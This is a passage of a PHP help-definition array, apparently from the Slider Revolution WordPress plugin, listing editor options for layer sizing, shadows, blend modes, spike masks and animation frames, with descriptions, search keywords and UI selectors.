								$dp => array('layerselected'), 
								$m => "#module_layers_trigger, #gst_layer_2", 
								$st => '#form_layerposition_basic', 
								$f => "#layer_width"
							)
						),
						'height' => array(
							$t => __("Layer Height", 'revsliderhelp'),
							$h => "size.height.#size#.v",
							$k => array("layer height", "layers height", "layer size", "layers size"),
							$d => __("The Layer's height for the current device viewport", 'revsliderhelp'),
							$a => $u . "size-position/",
							$hl => array(
								$dp => array('layerselected'), 
								$m => "#module_layers_trigger, #gst_layer_2", 
								$st => '#form_layerposition_basic', 
								$f => "#layer_height"
							)
						),
						'size_presets' => array(
							$t => __("Size Presets", 'revsliderhelp'),
							$h => "size.covermode",
							$k => array("size presets", "full width", "full height", "stretch", "cover"),
							$d => __("Choose to set the Layer's width/height as full-width, full-height.  'Stretch' will be 100% width/height, 'Cover' will maintain aspect ratio.", 'revsliderhelp'),
							$a => $u . "size-position/",
							$hl => array(
								$dp => array('layerselected::image||video||shape'), 
								$m => "#module_layers_trigger, #gst_layer_2", 
								$st => '#form_layerposition_basic', 
								$f => "#layer_covermode"
							)
						),
						'align_by' => array(
							$t => __("Align By Slider/Content", 'revsliderhelp'),
							$h => "behavior.baseAlign",
							$k => array("layers", "layer align", "layer alignment"),
							$d => __("Choose 'Slider' to align based on the Slider's full display, or 'Content' to align against the Slider's grid area", 'revsliderhelp'),
							$a => $u . "size-position/",
							$hl => array(
								$dp => array('layerselected'), 
								$m => "#module_layers_trigger, #gst_layer_2", 
								$st => '#form_layerposition_basic', 
								$f => "*[name='layer_within_align']:checked"
							)
						),
						'additional_settings' => array(
							'min_width' => array(
								$t => __("Minimum Width", 'revsliderhelp'),
								$h => "size.minWidth.#size#.v",
								$k => array("layer min-width", "layers min-width", "layer size", "layers size"),
								$d => __("The Layer's <a href='https://www.w3schools.com/cssref/pr_dim_min-width.asp' target='_blank'>CSS min-width</a> for the current device viewport", 'revsliderhelp'),
								$a => $u . "size-position/",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_2", 
									$st => '#form_layerposition_additional', 
									$f => "#layer_min_width"
								)
							),
							'max_width' => array(
								$t => __("Maximum Width", 'revsliderhelp'),
								$h => "size.maxWidth.#size#.v",
								$k => array("layer max-width", "layers max-width", "layer size", "layers size"),
								$d => __("The Layer's <a href='https://www.w3schools.com/cssref/pr_dim_max-width.asp' target='_blank'>CSS max-width</a> for the current device viewport", 'revsliderhelp'),
								$a => $u . "size-position/",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_2", 
									$st => '#form_layerposition_additional', 
									$f => "#layer_max_width"
								)
							),
							'min_height' => array(
								$t => __("Minimum Height", 'revsliderhelp'),
								$h => "size.minHeight.#size#.v",
								$k => array("layer min-height", "layers min-height", "layer size", "layers size"),
								$d => __("The Layer's <a href='https://www.w3schools.com/cssref/pr_dim_min-height.asp' target='_blank'>CSS min-height</a> for the current device viewport", 'revsliderhelp'),
								$a => $u . "size-position/",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_2", 
									$st => '#form_layerposition_additional', 
									$f => "#layer_min_height"
								)
							),
							'max_height' => array(
								$t => __("Maximum Height", 'revsliderhelp'),
								$h => "size.maxHeight.#size#.v",
								$k => array("layer height", "layers height", "layer size", "layers size"),
								$d => __("The Layer's <a href='https://www.w3schools.com/cssref/pr_dim_max-height.asp' target='_blank'>CSS max-height</a> for the current device viewport", 'revsliderhelp'),
								$a => $u . "size-position/",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_2", 
									$st => '#form_layerposition_additional', 
									$f => "#layer_max_height"
								)
							)
						),
						'responsive_behavior' => array(
							'intelligent_inheriting' => array(
								$di => "layers_intelligent_inheriting",
								$t => __("Intelligent Inheriting", 'revsliderhelp'),
								$h => "behavior.intelligentInherit",
								$k => array("responsive", "intelligent inheriting", "responsive behavior"),
								$d => __("Automatically resize/reposition new Layers for each device viewport inside the editor", 'revsliderhelp'),
								$a => $u . "size-position/",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_2", 
									$st => '#form_layerposition_advanced', 
									$f => "#layer_behavior_intelSize"
								)								
							),
							'inherit_from_desktop' => array(
								$t => __("Inherit from Desktop", 'revsliderhelp'),
								$h => "resetIntelligentInherits",
								$k => array("responsive behavior", "inherit all values", "inherit all values from desktop", "intelligent inheriting"),
								$d => __("Automatically resize/reposition all Layers for each device viewport inside the editor", 'revsliderhelp'),
								$a => $u . "size-position/",
								$hl => array(
									$dp => array('layerselected', array($p => '#slide#.layers.#layer#.behavior.intelligentInherit', $v => true, $o => 'layers_intelligent_inheriting')), 
									$m => "#module_layers_trigger, #gst_layer_2", 
									$st => '#form_layerposition_advanced', 
									$f => "#intelligent_buttons_true"
								)
							),
							'reset_from_desktop' => array(
								$t => __("Reset from Desktop", 'revsliderhelp'),
								$h => "inheritValuesFromDesktop",
								$k => array("responsive behavior", "reset all values", "reset all values from desktop", "intelligent inheriting"),
								$d => __("Reset the size/position of all Layers to their desktop values for each viewport inside the editor", 'revsliderhelp'),
								$a => $u . "size-position/",
								$hl => array(
									$dp => array('layerselected', array($p => '#slide#.layers.#layer#.behavior.intelligentInherit', $v => false, $o => 'layers_intelligent_inheriting')),  
									$m => "#module_layers_trigger, #gst_layer_2", 
									$st => '#form_layerposition_advanced', 
									$f => "#intelligent_buttons_false"
								)
							),
							'resize_between_devices' => array(
								$t => __("Resize Between Devices", 'revsliderhelp'),
								$h => "behavior.autoResponsive",
								$k => array("responsive", "resize", "resize layers", "resize layer", "layer resizing", "layer sizing", "responsive sizes", "responsive sizing"),
								$d => __("Automatically resize Layers for each responsive device viewport", 'revsliderhelp'),
								$a => $u . "size-position/",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_2", 
									$st => '#form_layerposition_advanced', 
									$f => "#layer_behavior_autoResponsive"
								)
							),
							'responsive_offsets' => array(
								$t => __("Responsive Offsets", 'revsliderhelp'),
								$h => "behavior.responsiveOffset",
								$k => array("responsive", "responsive offset", "responsive offsets"),
								$d => __("Automatically adjust the positioning for Layers for each responsive device viewport", 'revsliderhelp'),
								$a => $u . "size-position/",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_2", 
									$st => '#form_layerposition_advanced', 
									$f => "#layer_behavior_responsiveOffset"
								)
							),
							'responsive_children' => array(
								$t => __("Responsive Children", 'revsliderhelp'),
								$h => "behavior.responsiveChilds",
								$k => array("responsive", "responsive children"),
								$d => __("Choose to resize the Layer's inner HTML elements if the Layer includes custom HTML", 'revsliderhelp'),
								$a => $u . "size-position/",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_2", 
									$st => '#form_layerposition_advanced', 
									$f => "#layer_behavior_responsiveChilds"
								)
							)
						),
					),
					'gst_layer_6' => array(
						'basic_transforms' => array(
							'rotationx' => array(
								$t => __("Rotation X", 'revsliderhelp'),
								$h => "idle.rotationX",
								$k => array("advanced style", "transform", "rotation", "rotationx"),
								$d => __("Add a <a href='https://developer.mozilla.org/en-US/docs/Web/CSS/transform-function/rotateX' target='_blank'>rotateX</a> transform to the currently selected Layer", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#advanced-style",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_6", 
									$st => '#form_basic_transforms', 
									$f => "*[data-r='idle.rotationX']"
								)
							),
							'rotationy' => array(
								$t => __("Rotation Y", 'revsliderhelp'),
								$h => "idle.rotationY",
								$k => array("advanced style", "transform", "rotation", "rotationx"),
								$d => __("Add a <a href='https://developer.mozilla.org/en-US/docs/Web/CSS/transform-function/rotateY' target='_blank'>rotateY</a> transform to the currently selected Layer", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#advanced-style",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_6", 
									$st => '#form_basic_transforms', 
									$f => "*[data-r='idle.rotationY']"
								)
							),
							'rotationz' => array(
								$t => __("Rotation Z", 'revsliderhelp'),
								$h => "idle.rotationZ",
								$k => array("advanced style", "transform", "rotation", "rotationx"),
								$d => __("Add a <a href='https://developer.mozilla.org/en-US/docs/Web/CSS/transform-function/rotateZ' target='_blank'>rotateZ</a> transform to the currently selected Layer", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#advanced-style",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_6", 
									$st => '#form_basic_transforms', 
									$f => "*[data-r='idle.rotationZ']"
								)
							),
							'opacity' => array(
								$t => __("Opacity", 'revsliderhelp'),
								$h => "idle.opacity",
								$k => array("advanced style", "transform", "opacity"),
								$d => __("Adjust the opacity/transparency for the currently selected Layer", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#advanced-style",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_6", 
									$st => '#form_layerstyle_bg', 
									$f => "*[data-r='idle.opacity']"
								)
							)
						),
						'box_shadow' => array(
							'enable' => array(
								$t => __("Enable Box Shadow", 'revsliderhelp'),
								$h => "idle.boxShadow.inuse",
								$k => array("box shadow", "box-shadow", "layer box-shadow", "layer box shadow", "boxshadow"),
								$d => __("Add a <a href='https://www.w3schools.com/cssref/css3_pr_box-shadow.asp' target='_blank'>CSS box-shadow</a> to the currently selected Layer", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#advanced-style",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_6", 
									$st => '#form_layerstyle_bg', 
									$f => "*[data-r='idle.boxShadow.inuse']"
								)
							),
							'container' => array(
								$t => __("Apply Shadow to", 'revsliderhelp'),
								$h => "idle.boxShadow.container",
								$k => array("box shadow", "box shadow container", "shadow on"),
								$d => __("'Wrapper Container' is the Layer's outer-most HTML wrapper div, and 'Layer Container' is the content's main div", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#advanced-style",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_6", 
									$st => '#form_layerstyle_bg', 
									$f => "*[data-r='idle.boxShadow.container']:checked"
								)
							),
							'offsetx' => array(
								$t => __("Offset X", 'revsliderhelp'),
								$h => "idle.boxShadow.hoffset.#size#.v",
								$k => array("box shadow offset", "box shadow offset x", "shadow offset"),
								$d => __("The horizontal offset for the <a href='https://www.w3schools.com/cssref/css3_pr_box-shadow.asp' target='_blank'>box-shadow</a>", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#advanced-style",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_6", 
									$st => '#form_layerstyle_bg', 
									$f => "*[data-r='idle.boxShadow.hoffset.#size#.v']"
								)
							),
							'offsety' => array(
								$t => __("Offset Y", 'revsliderhelp'),
								$h => "idle.boxShadow.voffset.#size#.v",
								$k => array("box shadow offset", "box shadow offset y", "shadow offset"),
								$d => __("The vertical offset for the <a href='https://www.w3schools.com/cssref/css3_pr_box-shadow.asp' target='_blank'>box-shadow</a>", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#advanced-style",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_6", 
									$st => '#form_layerstyle_bg', 
									$f => "*[data-r='idle.boxShadow.voffset.#size#.v']"
								)
							),
							'blur' => array(
								$t => __("Blur Radius", 'revsliderhelp'),
								$h => "idle.boxShadow.blur.#size#.v",
								$k => array("box shadow blur", "box shadow blur radius", "blur radius"),
								$d => __("The blur-radius value for the Layer's <a href='https://www.w3schools.com/cssref/css3_pr_box-shadow.asp' target='_blank'>box-shadow</a>", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#advanced-style",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_6", 
									$st => '#form_layerstyle_bg', 
									$f => "*[data-r='idle.boxShadow.blur.#size#.v']"
								)
							),
							'spread' => array(
								$t => __("Spread", 'revsliderhelp'),
								$h => "idle.boxShadow.spread.#size#.v",
								$k => array("box shadow spread", "box shadow strength"),
								$d => __("The spread value for the Layer's <a href='https://www.w3schools.com/cssref/css3_pr_box-shadow.asp' target='_blank'>box-shadow</a>", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#advanced-style",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_6", 
									$st => '#form_layerstyle_bg', 
									$f => "*[data-r='idle.boxShadow.spread.#size#.v']"
								)
							),
							'color' => array(
								$t => __("Shadow Color", 'revsliderhelp'),
								$h => "idle.boxShadow.color",
								$k => array("box shadow color", "shadow color", "box-shadow color"),
								$d => __("The rgba color for the Layer's <a href='https://www.w3schools.com/cssref/css3_pr_box-shadow.asp' target='_blank'>box-shadow</a>", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#advanced-style",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_6", 
									$st => '#form_layerstyle_bg', 
									$f => "#boxShadowColor"
								)
							)
						),
						'text_shadow' => array(
							'enable' => array(
								$t => __("Enable Text Shadow", 'revsliderhelp'),
								$h => "idle.textShadow.inuse",
								$k => array("text shadow", "text-shadow", "layer text-shadow", "layer text shadow", "textshadow"),
								$d => __("Add a <a href='https://www.w3schools.com/CSSref/css3_pr_text-shadow.asp' target='_blank'>CSS text-shadow</a> to the currently selected Layer", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#advanced-style",
								$hl => array(
									$dp => array('layerselected::text'), 
									$m => "#module_layers_trigger, #gst_layer_6", 
									$st => '#form_layerstyle_bg._shft_', 
									$f => "*[data-r='idle.textShadow.inuse']"
								)
							),
							'offsetx' => array(
								$t => __("Offset X", 'revsliderhelp'),
								$h => "idle.textShadow.hoffset.#size#.v",
								$k => array("text shadow offset", "text shadow offset x", "shadow offset"),
								$d => __("The horizontal offset for the <a href='https://www.w3schools.com/CSSref/css3_pr_text-shadow.asp' target='_blank'>text-shadow</a>", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#advanced-style",
								$hl => array(
									$dp => array('layerselected::text'), 
									$m => "#module_layers_trigger, #gst_layer_6", 
									$st => '#form_layerstyle_bg._shft_', 
									$f => "*[data-r='idle.textShadow.hoffset.#size#.v']"
								)
							),
							'offsety' => array(
								$t => __("Offset Y", 'revsliderhelp'),
								$h => "idle.textShadow.voffset.#size#.v",
								$k => array("text shadow offset", "text shadow offset y", "shadow offset"),
								$d => __("The vertical offset for the <a href='https://www.w3schools.com/CSSref/css3_pr_text-shadow.asp' target='_blank'>text-shadow</a>", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#advanced-style",
								$hl => array(
									$dp => array('layerselected::text'), 
									$m => "#module_layers_trigger, #gst_layer_6", 
									$st => '#form_layerstyle_bg._shft_', 
									$f => "*[data-r='idle.textShadow.voffset.#size#.v']"
								)
							),
							'blur' => array(
								$t => __("Blur Radius", 'revsliderhelp'),
								$h => "idle.textShadow.blur.#size#.v",
								$k => array("text shadow blur", "text shadow blur radius", "blur radius"),
								$d => __("The blur-radius value for the Layer's <a href='https://www.w3schools.com/CSSref/css3_pr_text-shadow.asp' target='_blank'>text-shadow</a>", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#advanced-style",
								$hl => array(
									$dp => array('layerselected::text'), 
									$m => "#module_layers_trigger, #gst_layer_6", 
									$st => '#form_layerstyle_bg._shft_', 
									$f => "*[data-r='idle.textShadow.blur.#size#.v']"
								)
							),
							'color' => array(
								$t => __("Shadow Color", 'revsliderhelp'),
								$h => "idle.textShadow.color",
								$k => array("text shadow color", "shadow color", "text-shadow color"),
								$d => __("The rgba color for the Layer's <a href='https://www.w3schools.com/CSSref/css3_pr_text-shadow.asp' target='_blank'>text-shadow</a>", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#advanced-style",
								$hl => array(
									$dp => array('layerselected::text'), 
									$m => "#module_layers_trigger, #gst_layer_6", 
									$st => '#form_layerstyle_bg._shft_', 
									$f => "#textShadowColor"
								)
							)
						),
						'blend_mode' => array(
							'filter' => array(
								$t => __("Blend Mode Filter", 'revsliderhelp'),
								$h => "idle.filter.blendMode",
								$k => array("blend mode", "blend mode filter", "filter", "layer blend mode", "blend-mode"),
								$d => __("The CSS <a href='https://www.w3schools.com/cssref/pr_background-blend-mode.asp' target='_blank'>background-blend-mode</a> filter for the currently selected Layer", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#advanced-style",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_6", 
									$st => '#form_layerstyle_css', 
									$f => "*[data-r='idle.filter.blendMode']"
								)
							),
							'show_in_editor' => array(
								$t => __("Show in Editor Preview", 'revsliderhelp'),
								$h => "idle.filter.showInEditor",
								$k => array("blend mode", "blend mode filter", "filter", "layer blend mode", "blend-mode", "show in editor"),
								$d => __("Show the blend-mode both live in the Slider and also in the admin editing stage", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#advanced-style",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_6", 
									$st => '#form_layerstyle_css', 
									$f => "*[data-r='idle.filter.showInEditor']"
								)
							)
						),
						'spike_masks' => array(
							'enable' => array(
								$di => 'spike_masks',
								$t => __("Enable Spike Masks", 'revsliderhelp'),
								$h => "idle.spikeUse",
								$k => array("advanced style", "spikes", "corner", "spike", "corners"),
								$d => __("Add creative edges and corners to your content", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#advanced-style",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_6", 
									$st => '#form_layer_spiketyle', 
									$f => "#layer_userSpikes"
								)
							),
							'left_spike' => array(
								$t => __("Left Spike", 'revsliderhelp'),
								$h => "idle.spikeLeft",
								$k => array("advanced style", "spikes", "corner", "spike", "corners"),
								$d => __("Add creative edges and corners to the left side of your content", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#advanced-style",
								$hl => array(
									$dp => array(
										'layerselected',
										array($p => '#slide#.layers.#layer#.idle.spikeUse', $v => true, $o => 'spike_masks')
									), 
									$m => "#module_layers_trigger, #gst_layer_6", 
									$st => '#form_layer_spiketyle', 
									$f => "#layer_leftspiketype"
								)
							),
							'left_spike_width' => array(
								$t => __("Left Spike Width", 'revsliderhelp'),
								$h => "idle.spikeLeftWidth",
								$k => array("advanced style", "spikes", "corner", "spike", "corners"),
								$d => __("The percentage of your content's width to use when the spike(s) are drawn on the left side", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#advanced-style",
								$hl => array(
									$dp => array(
										'layerselected',
										array($p => '#slide#.layers.#layer#.idle.spikeUse', $v => true, $o => 'spike_masks')
									), 
									$m => "#module_layers_trigger, #gst_layer_6", 
									$st => '#form_layer_spiketyle', 
									$f => "*[data-r='idle.spikeLeftWidth']"
								)
							),
							'right_spike' => array(
								$t => __("Enable Spike Masks", 'revsliderhelp'),
								$h => "idle.spikeRight",
								$k => array("advanced style", "spikes", "corner", "spike", "corners"),
								$d => __("Add creative edges and corners to the right side of your content", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#advanced-style",
								$hl => array(
									$dp => array(
										'layerselected',
										array($p => '#slide#.layers.#layer#.idle.spikeUse', $v => true, $o => 'spike_masks')
									), 
									$m => "#module_layers_trigger, #gst_layer_6", 
									$st => '#form_layer_spiketyle', 
									$f => "#layer_rightspiketype"
								)
							),
							'right_spike_width' => array(
								$t => __("Right Spike Width", 'revsliderhelp'),
								$h => "idle.spikeRightWidth",
								$k => array("advanced style", "spikes", "corner", "spike", "corners"),
								$d => __("The percentage of your content's width to use when the spike(s) are drawn on the right side", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#advanced-style",
								$hl => array(
									$dp => array(
										'layerselected',
										array($p => '#slide#.layers.#layer#.idle.spikeUse', $v => true, $o => 'spike_masks')
									), 
									$m => "#module_layers_trigger, #gst_layer_6", 
									$st => '#form_layer_spiketyle', 
									$f => "*[data-r='idle.spikeRightWidth']"
								)
							)
						),
						'sharp_corners' => array(
							'left_corner' => array(
								$t => __("Left Corner", 'revsliderhelp'),
								$h => "idle.cornerLeft",
								$k => array("advanced style", "corner", "sharp", "sharp corners", "corners"),
								$d => __("Mask your content with diagonal slice from the left side", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#advanced-style",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_6", 
									$st => '#form_layer_cornertyle', 
									$f => "#layer_leftcornertype"
								)
							),
							'right_corner' => array(
								$t => __("Right Corner", 'revsliderhelp'),
								$h => "idle.cornerRight",
								$k => array("advanced style", "corner", "sharp", "sharp corners", "corners"),
								$d => __("Mask your content with diagonal slice from the right side", 'revsliderhelp'),
								$a => $u . "font-colors-styling/#advanced-style",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_6", 
									$st => '#form_layer_cornertyle', 
									$f => "#layer_rightcornertype"
								)
							)
						)
					),
					'gst_layer_4' => array(
						'start_animation_from' => array(
							$t => __("Start/In Animation: From", 'revsliderhelp'),
							$h => "animation.in.from",
							$k => array("animation in", "animation from", "layer animation", "layers animation", "animation"),
							$d => __("The Layer animation's starting point values before it first animates into view", 'revsliderhelp'),
							$a => $u . "layer-animations/",
							$hl => array(
								$dp => array('layerselected'), 
								$m => "#module_layers_trigger, #gst_layer_4", 
								$st => '#form_animation_sframes', 
								$f => "#keyframe_list_el_frame_0 .frame_list_title{frame}"
							)
						),
						'start_animation_to' => array(
							$t => __("Start/In Animation: To", 'revsliderhelp'),
							$h => "animation.in.to",
							$k => array("animation in", "animation to", "layer animation", "layers animation", "animation"),
							$d => __("The ending values for the Layer's very first animation", 'revsliderhelp'),
							$a => $u . "layer-animations/",
							$hl => array(
								$dp => array('layerselected'), 
								$m => "#module_layers_trigger, #gst_layer_4", 
								$st => '#form_animation_sframes', 
								$f => "#keyframe_list_el_frame_1 .frame_list_title{frame}"
							)
						),
						'animation_to' => array(
							$t => __("Animate Again To...", 'revsliderhelp'),
							$h => "animation.keyframe.to",
							$k => array("animation keyframe", "animation to", "layer animation", "layers animation", "animation", "keyframe"),
							$d => __("An additional animation to add to the Layer after its already animated into view", 'revsliderhelp'),
							$a => $u . "layer-animations/",
							$hl => array(
								$dp => array('layerselected'), 
								$m => "#module_layers_trigger, #gst_layer_4", 
								$st => '#form_animation_sframes', 
								$f => "#keyframe_list_el_frame_2 .frame_list_titlekey{frame}"
							)
						),
						'end_animation_out' => array(
							$t => __("End/Out Animation: To", 'revsliderhelp'),
							$h => "animation.out.to",
							$k => array("animation out", "animation to", "layer animation", "layers animation", "animation"),
							$d => __("The Layer's final animation when it's meant to be hidden or when the Slide changes", 'revsliderhelp'),
							$a => $u . "layer-animations/",
							$hl => array(
								$dp => array('layerselected'), 
								$m => "#module_layers_trigger, #gst_layer_4", 
								$st => '#form_animation_sframes', 
								$f => "#keyframe_list_el_frame_999 .frame_list_title{frame}"
							)
						),
						'editor_view' => array(
							$t => __("Set as Editor View", 'revsliderhelp'),
							$h => "editorview",
							$k => array("animation out", "animation to", "layer animation", "layers animation", "animation", "editor view", "set as editor view"),
							$d => __("Set the selected animation point as the default view when editing your content", 'revsliderhelp'),
							$a => $u . "layer-animations/",
							$hl => array(
								$dp => array('layerselected'), 
								$m => "#module_layers_trigger, #gst_layer_4", 
								$st => '#form_animation_sframes', 
								$f => "#set_editor_view"
							)
						),
						'basics' => array(
							'alias' => array(
								$t => __("Animation Name", 'revsliderhelp'),
								$h => "#frame#.alias",
								$k => array("animation alias", "animation name"),
								$d => __("Give the animation a name for editing purposes", 'revsliderhelp'),
								$a => $u . "layer-animations/#duration-easing",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_4", 
									$st => '#form_animation_sframes:nth-child(2)', 
									$f => "#layerframename"
								)
							),
							'speed' => array(
								$t => __("Animation Speed", 'revsliderhelp'),
								$h => "#frame#.timeline.speed",
								$k => array("animation speed", "animation duration", "animation time"),
								$d => __("The total duration for the selected animation", 'revsliderhelp'),
								$a => $u . "layer-animations/#duration-easing",
								$hl => array(
									$dp => array('layerselected', '#keyframe_list_el_frame_1'), 
									$m => "#module_layers_trigger, #gst_layer_4", 
									$st => '#form_animation_sframes:nth-child(2)', 
									$f => "#layerframespeed"
								)
							),
							'easing' => array(
								$t => __("Animation Easing", 'revsliderhelp'),
								$h => "#frame#.timeline.ease",
								$k => array("animation easing", "easing"),
								$d => __("The easing equation to use for the selected animation", 'revsliderhelp'),
								$a => $u . "layer-animations/#duration-easing",
								$hl => array(
									$dp => array('layerselected', '#keyframe_list_el_frame_1'), 
									$m => "#module_layers_trigger, #gst_layer_4", 
									$st => '#form_animation_sframes:nth-child(2)', 
									$f => "*[data-r='#frame#.timeline.ease']"
								)
							),
							'wait_for_action' => array(
								$t => __("Wait for Action", 'revsliderhelp'),
								$h => "#frame#.timeline.actionTriggered",
								$k => array("animation", "action", "actions", "animations", "keyframe", "keyframes"),
								$d => __("The selected animation will only start when it's called from a <a href='http://docs.themepunch.com/slider-revolution/layer-actions/' target=_'blank'>Layer Action</a>", 'revsliderhelp'),
								$a => $u . "layer-animations/#duration-easing",
								$hl => array(
									$dp => array('layerselected', '#keyframe_list_el_frame_1'), 
									$m => "#module_layers_trigger, #gst_layer_4", 
									$st => '#form_animation_sframes:nth-child(2)', 
									$f => "*[data-r='#frame#.timeline.actionTriggered']"
								)
							)
						),
						'advanced' => array(
							'layer' => array(
								'opacity' => array(
									$t => __("Opacity", 'revsliderhelp'),
									$h => "#frame#.transform.opacity",
									$k => array("opacity", "animation opacity", "transparency", "show layer", "hide layer", "animate opacity"),
									$d => __("The Layer's opacity to apply to the currently selected animation frame", 'revsliderhelp'),
									$a => $u . "layer-animations/#advanced-settings",
									$hl => array(
										$dp => array('layerselected', '#layerbasic_ts_wrapbrtn .transtarget_selector'), 
										$m => "#module_layers_trigger, #gst_layer_4", 
										$st => '#form_animation_sframes:nth-child(3)', 
										$f => "#le_frame_opacity"
									)
								),
								'translate' => array(
									'translate_x' => array(
										$t => __("TranslateX", 'revsliderhelp'),
										$h => "#frame#.transform.x.#size#.v",
										$k => array("animation position", "layer animation position", "animate left", "animate right", "translatex"),
										$d => __("The 'x' (left) position to apply to the currently selected animation frame.  Accepts positive and negative numbers.", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array('layerselected', '#layerbasic_ts_wrapbrtn .transtarget_selector'), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "#le_frame_x"
										)
									),
									'translate_y' => array(
										$t => __("TranslateY", 'revsliderhelp'),
										$h => "#frame#.transform.y.#size#.v",
										$k => array("animation position", "layer animation position", "animate top", "animate bottom", "translatey"),
										$d => __("The 'y' (top) position to apply to the currently selected animation frame.  Accepts positive and negative numbers.", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array('layerselected', '#layerbasic_ts_wrapbrtn .transtarget_selector'), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "#le_frame_y"
										)
									),
									'translate_z' => array(
										$t => __("TranslateZ", 'revsliderhelp'),
										$h => "#frame#.transform.z",
										$k => array("animation depth", "animation z", "translatez", "3d"),
										$d => __("The <a href='https://developer.mozilla.org/en-US/docs/Web/CSS/transform-function/translateZ' target=_'blank'>CSS translateZ</a> to apply to the selected animation frame.  This adds/removes 3D depth to the Layer", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array('layerselected', '#layerbasic_ts_wrapbrtn .transtarget_selector'), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "#le_frame_z"
										)
									),
									'perspective' => array(
										$t => __("Transform Perspective", 'revsliderhelp'),
										$h => "#frame#.transform.transformPerspective",
										$k => array("animation perspective", "perspective", "transform perspective", "transform-perspective", "3d"),
										$d => __("The <a href='https://developer.mozilla.org/en-US/docs/Web/CSS/perspective' target=_'blank'>CSS perspective</a> to apply to the selected animation frame", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array('layerselected', '#layerbasic_ts_wrapbrtn .transtarget_selector'), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "#le_frame_perspective"
										)
									)
								),
								'scale_skew_rotate' => array(
									'scalex' => array(
										$t => __("scaleX", 'revsliderhelp'),
										$h => "#frame#.transform.scaleX",
										$k => array("animation scale", "animation scalex", "scalex", "scale x", "scale"),
										$d => __("Scale the Layer's width by this amount for the selected animation frame", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array('layerselected', '#layerbasic_ts_wrapbrtn .transtarget_selector'), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "#le_frame_scale_x"
										)
									),
									'scaley' => array(
										$t => __("scaleY", 'revsliderhelp'),
										$h => "#frame#.transform.scaleY",
										$k => array("animation scale", "animation scaley", "scaley", "scale y", "scale"),
										$d => __("Scale the Layer's height by this amount for the selected animation frame", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array('layerselected', '#layerbasic_ts_wrapbrtn .transtarget_selector'), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
